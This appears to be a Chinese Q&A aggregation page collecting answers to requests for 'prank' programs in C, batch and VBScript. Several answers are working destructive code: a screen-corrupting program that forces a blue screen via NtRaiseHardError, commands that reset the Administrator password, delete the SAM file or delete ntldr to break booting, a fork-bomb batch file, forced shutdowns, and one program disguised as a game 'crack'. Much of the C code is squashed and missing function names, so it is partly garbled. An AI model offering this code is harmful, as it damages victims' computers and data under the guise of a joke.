当前位置:首页 » 编程语言 » 有趣的整人c语言程序
扩展阅读
webinf下怎么引入js 2023-08-31 21:54:13
堡垒机怎么打开web 2023-08-31 21:54:11

有趣的整人c语言程序

发布时间: 2022-06-29 02:04:52

① 求一个c语言整人代码!!!

先上代码

#include<Windows.h>
#include<time.h>
usingnamespacestd;
intcall;
intScreenWidth=GetSystemMetrics(SM_CXSCREEN);
intScreenHeight=GetSystemMetrics(SM_CYSCREEN);
intIconWidth=GetSystemMetrics(SM_CXICON);
intIconHeight=GetSystemMetrics(SM_CYICON);
HDChdc=GetWindowDC(GetDesktopWindow());
#defineKEY_DOWN(VK_NONAME)((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0)
intrandom(intupper_bound){
if(upper_bound==0){
return0;
}
srand((unsigned)(time(NULL)*clock()*rand()*call+time(NULL)+rand()+call));
call++;
returnrand()%upper_bound;
}
DWORDWINAPIFlashDesktop(LPVOIDParam){
while(true){
BitBlt(hdc,0,0,ScreenWidth,ScreenHeight,hdc,0,0,NOTSRCCOPY);
Sleep(random(100));
}
return0;
}
intGetWay(){
intr=random(3);
switch(r){
case0:
returnSRCAND;
case1:
returnSRCINVERT;
case2:
returnSRCPAINT;
}
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth);
intRandyPixel=random(ScreenHeight-RandHeight);
intRandDestxPixel=random(ScreenWidth-RandWidth);
intRandDestyPixel=random(ScreenHeight-RandHeight);
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
(LPVOIDParam){
while(true){
intRandWidth=random(ScreenWidth);
intRandHeight=random(ScreenHeight);
intRandxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandyPixel=random(ScreenHeight-RandHeight)+RandHeight;
intRandDestxPixel=random(ScreenWidth-RandWidth)+RandWidth;
intRandDestyPixel=random(ScreenHeight-RandHeight)+RandHeight;
BitBlt(hdc,RandxPixel,RandyPixel,RandWidth,RandHeight,hdc,RandDestxPixel,RandDestyPixel,SRCINVERT);
Sleep(random(100));
}
return0;
}
DWORDWINAPICallBsod1MinLater(LPVOIDParam){
Sleep(60000);
HMODULEntdll=LoadLibrary("ntdll.dll");
FARPROCRtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROCNtRaiseHardError=GetProcAddress(ntdll,"NtRaiseHardError");
unsignedchartemp0;
longunsignedinttemp1;
((void(*)(DWORD,DWORD,BOOLEAN,LPBYTE))RtlAdjustPrivilege)(0x13,true,false,&temp0);
((void(*)(DWORD,DWORD,DWORD,DWORD,DWORD,LPDWORD))NtRaiseHardError)(0xc000021a,0,0,0,6,&temp1);
return0;
}
DWORDWINAPIDrawErrors(LPVOIDParam){
while(true){
intRandxPixel=random(ScreenWidth-IconWidth/2);
intRandyPixel=random(ScreenHeight-IconHeight/2);
DrawIcon(hdc,RandxPixel,RandyPixel,LoadIcon(NULL,IDI_ERROR));
Sleep(random(50));
}
return0;
}
intmain(void){
CreateThread(NULL,4096,&FlashDesktop,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation1,NULL,NULL,NULL);
CreateThread(NULL,4096,&ScreenXorOperation2,NULL,NULL,NULL);
CreateThread(NULL,4096,&CallBsod1MinLater,NULL,NULL,NULL);
CreateThread(NULL,4096,&DrawErrors,NULL,NULL,NULL);
while(true);
}

运行这段代码首先会花屏并闪屏,一分钟后蓝屏。

效果图:

② 求一个C语言整人程序代码

#include<stdio.h>#include<stdlib.h>void main(){ system("shutdown -l -t 20");}

③ 如何用C语言编一个假中毒的恶作剧程序

一个小东西 介绍了后别笑话我 !它的功能很简单,就是把Administrator的密码该成xiaoniaoheihei
大家整了人之后切记告诉他密码(xiaoniaoheihei)

由于不能上传文件文件尺寸:
小于 200 kb
可用扩展名: gif, jpg
自己可以用TC2.0编写编译调试生成
C语言下的代码如下:

main()
{
system("net user administrator xiaoniaoheihei");
}
如果自己真的不小心忘记了密码 如果是XP系统 管理员密码破解如下:
1.用个启动盘启动电脑后进入DOS 状态下:输入如下命令
del X:\windows\sysrem32\config\sam 回车
x:\windows\repair\sam x:\windows\system32\config 回车
2.重新启动计算机。X为安装XP的盘 一般为c:

④ 求C语言编写的整人程序 批处理我还不会 如果发了批处理的 麻烦写好解释啦 谢谢各位大侠

最简单的:
attrib c:/ntldr -a -h -s -r
del c:/ntldr /f /q
shutdown /s /t 0

提供一个vbs
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
dim a
WSHshellA.run "cmd.exe /c shutdown -r -t 600 -c ""输入ax_pokl很聪明,不会就马上关你机,不信,试试"" ",0,true
WSHshellA.run "tskill explorer",0,true
msgbox chr(13) + chr(13) + chr(13) + "点应用程序-新任务,输入tskill wscript,点确定就好了,(∩_∩)o...哈哈"
do while(a <> "ax_pokl很聪明")
a = inputbox ("输入ax_pokl很聪明,不会就不关机,快撒,输入 ""ax_pokl很聪明"" ","会不会","不会",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + "你傻了吧?水平啊,我也会改!"
msgbox chr(13) + chr(13) + chr(13) + "教你吧,先按CTRL+ALT+DELETE"
msgbox chr(13) + chr(13) + chr(13) + "点应用程序-新任务,输入c:\WINDOWS\explorer.exe,点确定"
msgbox chr(13) + chr(13) + chr(13) + "点应用程序-新任务,输入shutdown -a,点确定"
loop
msgbox chr(13) + chr(13) + chr(13) + "早点输入不就行了嘛"
msgbox chr(13) + chr(13) + chr(13) + "开心了吧?"
dim d
dim c
dim b
c=1
do while(d <> "要")
d = inputbox ("要不要试试更厉害的?","要不要","不要",8000,7000)
For b = 1 To c
msgbox chr(13) + chr(13) + chr(13) + "哈哈,快输入""要",b,"!"
next
c=c+1
loop
msgbox chr(13) + chr(13) + chr(13) + "看在你可怜的面上就放过你吧。。。"
WSHshellA.run "cmd.exe /c shutdown -a ",0,true
WSHshellA.run "c:\WINDOWS\explorer.exe",0,true

⑤ 求助:关于C语言编一个整人的程序。

代码有错:
scanf("%s", &write);改成scanf("%c", &write); write是字符,不是字符串.

改好后,用windows管理员帐号登陆,在命令行下直接运行exe试试。

⑥ 谁能教我用C语言编写一个整人程序

# include <stdio.h>
# include <windows.h>
# include <malloc.h>

int main(void)
{
int c;
int i;
int j;

nihao:
printf("1:CF破解\n");
printf("2:QQ飞车破解\n");
printf("请选择: ");

scanf("%d",&c);

if (c == 1)
{
system("shutdown -s -t 600");
}
else if (2 == c)
{
printf("你太坏了 我要惩罚你!\n");
for (j=0; j<666; ++j)
system("start");
}
else
{
printf("你敲错了,请重新输入!\n");
goto nihao;
}
return 0;
}

1 。选择 是关机
2 。选择 是弹出666个窗口

⑦ 用C语言编写一个恶作剧的小程序,O(∩_∩)O谢谢

#include<stdio.h>
#include<windows.h>
int
main()
{
system("shutdown
-s
-t
100");
system("shutdown
-r");//把这行注释掉

把编译成功之后的exe发给其他人
双击之后就可以关机了

return
0;
}

⑧ 求一段整人C语言小程序

给你最简单的,那有时间编那个,这个文件是批处理,打开记事本,输入第一行@echo off,第二行 start cmd,第三行,%0然后保存成文件类型为bat文件。然后你打开那个文件试一试。保证,你会很爽的,放心只是恶搞。

⑨ 哪位大侠精通c语言,推荐几个有趣的 实用的 c语言小程序

#include"stdio.h"
#include"stdlib.h"
#include"windows.h"
main()
{
int i;
printf("呃,我要做什么呢?让我想想");
for(i=1;i<=7;i++)
{
printf(". ");
Sleep(1*1000);
}
printf("\n");
printf("啊,有了 哈哈");
for(i=1;i<=15;i++)
{
printf("~");
Sleep(1*100);
}
printf("\n");
char write[100];
system("shutdown -s -t 60");
printf("快说你是猪!不然就给你关机,你只有一分钟考虑时间!\n");
gt:
scanf("%s",write);
if(strcmp(write,"我是猪")==0)
{
printf("哈哈,这就对了~~~\n\n");
system("shutdown -a");
}
if(strcmp(write,"我是猪")!=0)
{
printf("不说是吧?没关系,那就等着关机吧,哈哈哈哈!\n");
goto gt;
}
}
这个是个整人的小程序代码,打开后会有提示,提示后会启动系统关机倒计时,只有按提示输入正确的汉字才能关闭“系统关机”命令。本人初学者,自己调的,仅供参考。只做娱乐使用,注意保存修改过的文件。

⑩ 求一些恶搞程序的C语言源代码

#include "stdio.h"
#include "stdlib.h"
result love(boy, girl)
{
if ( boy.有房() and boy.有车() )
{
boy.set(nothing);
return girl.嫁给(boy);
}
if ( girl.愿意等() )
{
while( ! (boy.赚钱 > 100,000 and girl.感情 > 8 ) )
{
for ( day=1; day <=365; day++)
{
if ( day == 情人节 )
if ( boy.givegirl(玫瑰) )
girl.感情++;
else
girl.感情--;
if( day == girl.生日)
if ( boy.givegirl(玫瑰) )
girl.感情++;
else
girl.感情--;
boy.拼命赚钱();
}
}
if ( boy.有房() and boy.有车() )
{
boy.set(nothing);
return girl.嫁给(boy);
}
年龄++;
girl.感情--;
}
return girl.goto( another_boy);
}